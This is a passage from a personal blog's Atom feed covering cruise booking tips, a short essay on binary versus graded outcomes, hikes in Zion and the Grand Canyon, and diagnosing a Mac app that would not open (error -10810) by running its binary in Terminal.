<li><strong>How to book</strong> - Search and book via a travel agent like   
    
    
<a href="https://www.tkqlhce.com/click-7958754-12662428?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Expedia.com</a> or   
    
    
<a href="https://www.cruisecompete.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">cruisecompete.com</a>. If you have to ask something then these travel agents usually provide way better customer service than the ones employed by the cruise company.</li>
<li><strong>What matters the most</strong> - if you are going to mostly stay on the ship, then always look at the year of the ship. Newer the ship, better the amenities. If you are going to go the shore excursions, optimize for good ports of call.</li>
<li><strong>Cabin</strong> - Pick a cabin close to elevator. Better to be on 6th floor next to elevator then to be on 10 floor far from the elevator.</li>
<li><strong>Deck</strong> - The cruise floors are called decks. Larger the number, higher the deck. Most outdoor activities (including pool, spa, nightclubs) are usually located happen on the higher decks. The lower decks are usually about indoor activities and restaurants.</li>
<li><strong>Bidding</strong> - If your cruise line permits, always bid for a better room within your budget.</li>
<li><strong>Formal Dress</strong> - Carry at least one formal dress, it can turn out to be useful for some formal events on the cruise.</li>
<li><strong>Diet</strong> - Popular dietary restrictions like vegetarian or vegan are not hard for them to meet most of the time. But if you have a more special requirement (like halal diet or kosher), let the cruise ship know in advance.</li>
<li><strong>Meals</strong> - Usually all cruise ships have a buffet restaurant and multiple dine-in restaurants.Former is quick and contains prepared food. Latter is fancier but takes its own sweet time. The buffet restaurant is usually on the higher deck and is included as a part of the cruise. Some Dine-in restaurants (highbrow term: &ldquo;Speciality restaurants&rdquo;) are complementary, some are not. An advance reservation is good to have (but not required) for the latter.</li>
<li><strong>Beverages</strong> - While the standard food is free on the ship. Standard addictions like Soda (soft-drinks), carbonated water, and alcohol (hard-drinks) are not free. If you really need them, buy them in advance, buy them onboard (expensive), buy and consume them whenever ship stops at a new destination or look for a promotional package which includes them for free.</li>
<li><strong>Water</strong> - Carry a few empty water bottles to refill or even better a   
    
    
<a href="https://amzn.to/2CMNLPz?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hydration pack</a>. A hydration pack is really useful for the day trips at the intermediate stops (fancily called, &ldquo;port of call&rdquo;).</li>
<li><strong>Shore Excursions</strong> - Shore Excursions at the port of call can be booked via cruise ship or on your own. The cruise ship ones are expensive but are a safer bet. If you are 
<a href="/category/travel/">adventurous</a> then book them on your own. If you are not, just go with the cruise bookings.</li>
<li><strong>Guest service</strong> - If you need something from the guest service, catch them early in the morning or late at night. Every other time, I have seen a queue. I wonder if they give out some raffle tickets, but I digress.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/cruise" term="cruise" label="cruise"/></entry><entry><title type="html">Binary vs Graded outcomes</title><link href="https://ashishb.net/misc/binary-vs-graded-outcomes/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/sometimes-the-middle-ground-is-most-empowering/?utm_source=atom_feed" rel="related" type="text/html" title="Sometimes the middle ground is most empowering"/><link href="https://ashishb.net/misc/good-diet-action-list/?utm_source=atom_feed" rel="related" type="text/html" title='Diet action plan from "How not to die" book'/><link href="https://ashishb.net/book-summary/the-science-of-happily-ever-after/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The science of happily ever after by T Y Tashiro"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><id>https://ashishb.net/misc/binary-vs-graded-outcomes/</id><author><name>Ashish Bhatia</name></author><published>2018-01-20T19:46:29+00:00</published><updated>2018-01-20T19:46:29+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the dynamics of binary versus graded outcomes in life&rsquo;s key activities and learn how to optimize your efforts for success in various aspects.</blockquote><p>Some activities have binary outcomes while some have graded outcomes.
Getting admission into a college is binary, either you get it or you don&rsquo;t;
how well you do in the college is graded. Clearing a job interview is binary,
either you get selected or you don&rsquo;t; how well you do the job isn&rsquo;t that black and white.
Getting a promotion is binary; while a pay raise is usually on a graded scale.
Being single or married is binary; while the quality of life, in either case, is graded.</p>
<p>When the outcome is binary, either the outcome is desirable or all the effort is in vain.
Activities with graded outcomes allow you to observe and calibrate the effort.
Activities with binary outcomes can be made graded by repeating them.
That&rsquo;s especially true when the repetition cost is low like in the case of college admissions or job interviews.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/life" term="life" label="life"/></entry><entry><title type="html">Two days at Zion National Park</title><link href="https://ashishb.net/travel/zion-national-park/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/glacier-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Glacier National Park in 4 days"/><link href="https://ashishb.net/travel/lassen-volcanic-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking in Lassen Volcanic National Park, California"/><link href="https://ashishb.net/travel/yosemite-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Yosemite National Park"/><link href="https://ashishb.net/travel/antelope-canyon/?utm_source=atom_feed" rel="related" type="text/html" title="A trip to Antelope Canyon"/><id>https://ashishb.net/travel/zion-national-park/</id><author><name>Ashish Bhatia</name></author><published>2018-01-02T02:21:32+00:00</published><updated>2018-01-02T02:21:32+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Zion Narrows&rsquo; stunning water-hike on Day 1 and conquer Angel&rsquo;s Landing&rsquo;s exhilarating ascent on Day 2 for unforgettable views and a fitness test.</blockquote><h3 id="day-1">Day 1</h3>
<p>We did   
    
    
<a href="https://www.nps.gov/zion/planyourvisit/thenarrows.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Zion Narrows</a> on the first day. The hike consists of walking in the flowing water, which is ankle to knee-deep. Therefore, getting wetsuits and water shoes is highly recommended. The views are marvelous, and since one has to return along the same route, one can decide how far one wants to go. Total hike length is 9.4 miles, starting at the visitor center.</p>
<figure>
    
    <a href="IMG_2611-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2611-1024x768.jpg"
         alt="Zion Narrows" width="900"/> </a>
</figure>

<figure>
    
    <a href="12-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="12-1.jpg"
         alt="Zion Narrows" width="440"/> </a>
</figure>

<h3 id="day-2">Day 2</h3>
<p>We did Angel&rsquo;s Landing on the second day. It&rsquo;s a short 5.4 mile with steep elevation gain at the end, which requires one to hold onto chains for climbing upwards. It is similar to 
<a href="/travel/yosemite-national-park/">Half Dome hike</a> without the long, draining walk till the last dome. Those who fear heights should avoid this. For everyone else, it is an excellent and short fitness test combined with excellent views at the end.</p>
<h3 id="references">References</h3>
<ol>
<li>  
    
    
<a href="https://www.nps.gov/zion/planyourvisit/hiking-in-zion.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hiking guide</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/national-park" term="national-park" label="national-park"/><category scheme="https://ashishb.net/tag/utah" term="utah" label="utah"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Diagnosing Mac apps which won't open (error -10810)</title><link href="https://ashishb.net/programming/diagnosing-mac-apps-which-wont-open-error-10810/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/mac-os-app-translocation-and-android-studio-updates-failure/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS: App Translocation and Android Studio updates failure"/><link href="https://ashishb.net/programming/mac-os-x-primer-part-3-window-management/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS X Primer (Part 3) - Window Management"/><link href="https://ashishb.net/programming/mac-os-x-primer-part-2-migrating-from-gnulinux-to-mac-for-software-engineers/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS X Primer (Part 2): GNU/Linux -> Mac for software engineers"/><link href="https://ashishb.net/programming/mac-101-migrating-from-gnulinux-to-mac-for-software-engineers/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS X Primer: GNU/Linux -> Mac for software engineers"/><link href="https://ashishb.net/programming/java-musings-initializing-a-final-variable-with-an-uninitialized-final-variable/?utm_source=atom_feed" rel="related" type="text/html" title="Java Musings - referencing an uninitialized final variable"/><id>https://ashishb.net/programming/diagnosing-mac-apps-which-wont-open-error-10810/</id><author><name>Ashish Bhatia</name></author><published>2017-12-22T07:37:53+00:00</published><updated>2017-12-22T07:37:53+00:00</updated><content type="html"><![CDATA[<blockquote>Troubleshoot Mac app errors with Terminal! Learn how diagnosing Deluge&rsquo;s startup issues led to a successful fix through a simple uninstall and reinstall process.</blockquote><p>Occasionally, my mac applications end up in a corrupt state where they won&rsquo;t open. I recently encountered this with Deluge. The first step to diagnose is to open Terminal and open them in the terminal via</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ open -a deluge  <span style="color:#586e75"># This name is same as the name of the app (minus the &#34;.app&#34; portion).</span>
</span></span><span style="display:flex;"><span>LSOpenURLsWithRole<span style="color:#719e07">()</span> failed <span style="color:#719e07">for</span> the application /usr/local/Caskroom/deluge/1.3.12/Deluge.app with error -10810.</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, the error is more diagnosable but still cryptic. Deluge.app above is a directory and we can navigate to the binary located at Deluge.app/Contents/MacOS/Deluge and execute the actual binary to see a more actionable error</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ /usr/local/Caskroom/deluge/1.3.12/Deluge.app/Contents/MacOS/Deluge
</span></span><span style="display:flex;"><span>Traceback <span style="color:#719e07">(</span>most recent call last<span style="color:#719e07">)</span>:
</span></span><span style="display:flex;"><span>  File <span style="color:#2aa198">&#34;/usr/local/Caskroom/deluge/1.3.12/Deluge.app/Contents/MacOS/Deluge-bin&#34;</span>, line 5, in &lt;module&gt;
</span></span><span style="display:flex;"><span>    from pkg_resources import load_entry_point
</span></span><span style="display:flex;"><span>  File <span style="color:#2aa198">&#34;pkg_resources/__init__.pyc&#34;</span>, line 37, in &lt;module&gt;
</span></span><span style="display:flex;"><span>  File <span style="color:#2aa198">&#34;email/parser.pyc&#34;</span>, line 12, in &lt;module&gt;
</span></span><span style="display:flex;"><span>  File <span style="color:#2aa198">&#34;email/feedparser.pyc&#34;</span>, line 27, in &lt;module&gt;
</span></span><span style="display:flex;"><span>  File <span style="color:#2aa198">&#34;email/message.pyc&#34;</span>, line 16, in &lt;module&gt;
</span></span><span style="display:flex;"><span>  File <span style="color:#2aa198">&#34;email/charset.pyc&#34;</span>, line 13, in &lt;module&gt;
</span></span><span style="display:flex;"><span>  File <span style="color:#2aa198">&#34;email/base64mime.pyc&#34;</span>, line 40, in &lt;module&gt;
</span></span><span style="display:flex;"><span>  File <span style="color:#2aa198">&#34;email/utils.pyc&#34;</span>, line 29, in &lt;module&gt;
</span></span><span style="display:flex;"><span>  File <span style="color:#2aa198">&#34;urllib.pyc&#34;</span>, line 1414, in &lt;module&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ImportError: dlopen<span style="color:#719e07">(</span>/usr/local/Caskroom/deluge/1.3.12/Deluge.app/Contents/Resources/lib/python/lib-dynload/_scproxy.so, 2<span style="color:#719e07">)</span>: Symbol not found: _inflateValidate
</span></span><span style="display:flex;"><span>  Referenced from: /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libPng.dylib
</span></span><span style="display:flex;"><span>  Expected in: /usr/local/Caskroom/deluge/1.3.12/Deluge.app/Contents/Resources/lib/libz.1.dylib
</span></span><span style="display:flex;"><span> in /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libPng.dylib</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, this is something meaningful and Google search worthy. Googling for &ldquo;Symbol not found: _inflateValidate&rdquo; takes us to the most likely   
    
    
<a href="https://github.com/gpodder/gpodder/issues/347#issuecomment-332918276?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">cause</a>. In my case, uninstall followed by the reinstall of Deluge fixed it.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/macos" term="macos" label="macos"/></entry><entry><title type="html">Rim-2-Rimember: Day hiking through Grand Canyon</title><link href="https://ashishb.net/travel/grand-canyon/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/hiking-natural-bridges-national-monument/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Natural Bridges National Monument"/><link href="https://ashishb.net/travel/antelope-canyon/?utm_source=atom_feed" rel="related" type="text/html" title="A trip to Antelope Canyon"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><id>https://ashishb.net/travel/grand-canyon/</id><author><name>Ashish Bhatia</name></author><published>2017-12-03T03:38:05+00:00</published><updated>2017-12-03T03:38:05+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate guide for doing a single day rim to rim hike through Grand Canyon. Includes details about the journey, what to carry, and a detailed tracking sheet.</blockquote><p>I did the 23.4 miles rim to rim day hike through Grand Canyon during the last week of November (Thanksgiving weekend) 2017. Unlike most hikes like 
<a href="/travel/mt-whitney/">Mt. Whitney</a>, the hard part (ascent) comes later, and therefore, it is easy to get trapped. Be confident of your fitness level before you try this.</p>
<figure>
    
    <a href="IMG_2038-e1512184980983-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2038-e1512184980983-768x1024.jpg"
         alt="Grand Canyon hike" width="900"/> </a>
</figure>

<h3 id="what-to-carry">What to carry</h3>
<ol>
<li>There are multiple water stops, some seasonal, some permanent, check the current situation at the   
    
    
<a href="https://www.nps.gov/grca/planyourvisit/trail-closures.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">NPS website</a>. The water supply comes from Roaring Springs, and it has high  Chlorine content.</li>
<li>I carried ~3L of water and 1L of Gatorade. I think the 2L of water is the absolute minimum to avoid the risk of dehydration. Also, get a   
    
    
<a href="https://amzn.to/2Biqh3E?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hydration pack</a> so that you are drinking more frequently and without stopping.</li>
<li>Wear good trail hiking boots since many parts of the trail are rough.</li>
<li>Carry protein bars and trail mixes for snacking.</li>
<li>Cache the map of the Grand Canyon in Google Maps since there is no network connectivity inside the canyon.</li>
<li>Carry a detailed list of the checkpoints you are going to encounter, along with the distance to track how well you are doing. You can download a sample tracking sheet from 
<a href="Grand-Canyon-hiking-time-tracking-sheet-Sheet1.pdf">Grand Canyon hiking time tracking sheet</a>, and you can see my full sheet under &ldquo;My Journey&rdquo; section in this blog post.</li>
</ol>
<figure>
    
    <a href="IMG_2083-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2083-1024x768.jpg"
         alt="A paved road leads into a forested area with tall trees" width="900"/> </a>
</figure>

<h3 id="about-the-journey">About the Journey</h3>
<ol>
<li>The road AZ 67 to the North Rim closes on the first snowfall, therefore, check it&rsquo;s the current situation before leaving.</li>
<li>The North Rim is less touristy, less accessible, and higher elevation than the south rim, therefore, <strong>start the hike on the north rim</strong> and end it on the south rim.</li>
<li>There is precisely one trail to take on the North Rim, that&rsquo;s <strong>North Kaibab trail</strong>. The total length of the trail is about 14 miles, and the elevation change is about 5800 ft.</li>
<li>There are two trails one can take to go up the South Rim, South Kaibab trail or Bright Angel Trail, Bright Angel trail is longer but has lower elevation gain and has one water stop (Indian garden), therefore, take the <strong>Bright Angel trail</strong> while going up the South Rim. The total length of this trail is about 9.4 miles, and the elevation change is about 4400 ft.</li>
<li>On average, it seems it takes anywhere between 12 and 15 hours to finish the hike.</li>
</ol>
<h3 id="my-journey">My Journey</h3>
<figure>
    
    <a href="Grand-canyon-journey-1024x453.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Grand-canyon-journey-1024x453.jpeg"
         alt="A rugged mountain landscape of The Grand Canyon, features vast, towering cliffs and sprawling valleys under a bright sky, symbolizing adventure and natural beauty." width="900"/> </a>
</figure>

<p>Download a copy of this sheet for your use 
<a href="Grand-Canyon-hiking-time-tracking-sheet-Sheet1.pdf">here</a>.</p>
<p>I started at 6:45 AM, and it took me about 10 hours and 45 minutes to finish the hike. This duration included 4-5 breaks of 5 minutes each along the way. Here are some photos of the major checkpoints along the way. The first of them is a short tunnel called Supai Tunnel.</p>
<figure>
    
    <a href="IMG_2036-1-e1511855366869-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2036-1-e1511855366869-768x1024.jpg"
         alt="A narrow hiking trail winding around a rocky canyon landscape, leading into a passage marked as Supai Tunnel, part of a rugged outdoor adventure pathway." width="900"/> </a>
</figure>

<p>After the Supai Tunnel, the next major milestone is Roaring Springs. The actual springs are a bit off the route. Therefore, I would recommend not going there.</p>
<figure>
    
    <a href="IMG_2040-e1511855599289-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2040-e1511855599289-768x1024.jpg"
         alt="Roaring Springs" width="900"/> </a>
</figure>

<p>Manzanita Rest area was the first stop where I got potable water, and being 5.4 miles away, this is the first major checkpoint on the way. And it&rsquo;s an excellent time to evaluate how you are doing on time. If it has already taken you three hours or more to reach here, I would highly recommend turning back. Cottonwood campground is a little over a mile from here. From here on, the trail is next to the water stream.</p>
<figure>
    
    <a href="IMG_2043-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2043-1024x768.jpg"
         alt="A trail runs alongside a water stream, surrounded by lush greenery" width="900"/> </a>
</figure>

<p>Till Cottonwood, the descent is steep. Beyond that, it becomes much more smooth and pleasant to walk. From here on, it becomes a long walk towards the Phantom Ranch.</p>
<figure>
    
    <a href="IMG_2047-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2047-1024x768.jpg"
         alt="A rocky trail winding through a rugged canyon landscape, leading towards the distant Phantom Ranch, surrounded by steep cliff walls and sparse vegetation." width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_2051-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2051-768x1024.jpg"
         alt="A scenic view of Phantom Ranch, a remote lodge located within the Grand Canyon, featuring rugged natural surroundings and rustic accommodations." width="900"/> </a>
</figure>

<p>Eventually, I reached the   
    
    
<a href="https://www.grandcanyonlodges.com/lodging/phantom-ranch/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Phantom Ranch</a>. It&rsquo;s a small town in the middle of the canyon. I refilled my hydration pack here. They do seem to serve food to day hikers.</p>
<figure>
    
    <a href="IMG_2054-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2054-1024x768.jpg"
         alt="A scenic view of a canyon with a rocky landscape" width="900"/> </a>
</figure>

<p>Bright Angel campground, a much smaller campground, is only 20 minutes away from here. Bright Angel campground is 14 miles from the start and is the lowest checkpoint of the hike. Here I encountered the board that I am finally crossing over to the South Rim.</p>
<figure>
    
    <a href="IMG_2056-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2056-1024x768.jpg"
         alt="A scenic hiking trail with a wooden information board indicating transition to the South Rim, surrounded by lush greenery, marking a point of interest for hikers." width="900"/> </a>
</figure>

<p>Soon after this, I came across the Silver Bridge on Colorado river. This bridge is used for crossing over to the south side of the canyon.</p>
<figure>
    
    <a href="IMG_2058-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2058-1024x768.jpg"
         alt="A bridge spans over the Colorado River, facilitating crossing to the south side of the canyon. The environment suggests a hot, sunny day." width="900"/> </a>
</figure>

<p>The temperature was climbing up now, and I was sweating due to the intense sun. That&rsquo;s when I came across smarter travelers.</p>
<figure>
    
    <a href="IMG_2062-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2062-1024x768.jpg"
         alt="Horse riding in Grand Canyon" width="900"/> </a>
</figure>

<p>Next, I saw this cool cave. Being alone, I decide not to take the risk, but I am still unable to get this off of my head.</p>
<figure>
    
    <a href="IMG_2063-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2063-768x1024.jpg"
         alt="A wooden trail sign in a forested area indicates steep and strenuous hiking ahead, prompting caution." width="900"/> </a>
</figure>

<p>From here on, the hike becomes a strenuous climb.</p>
<figure>
    
    <a href="IMG_2066-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2066-1024x768.jpg"
         alt="A trail sign indicating a strenuous climb marks the beginning of a challenging hike. Seven-and-a-half hours in, Indian Garden provides an oasis-like respite for hikers." width="900"/> </a>
</figure>

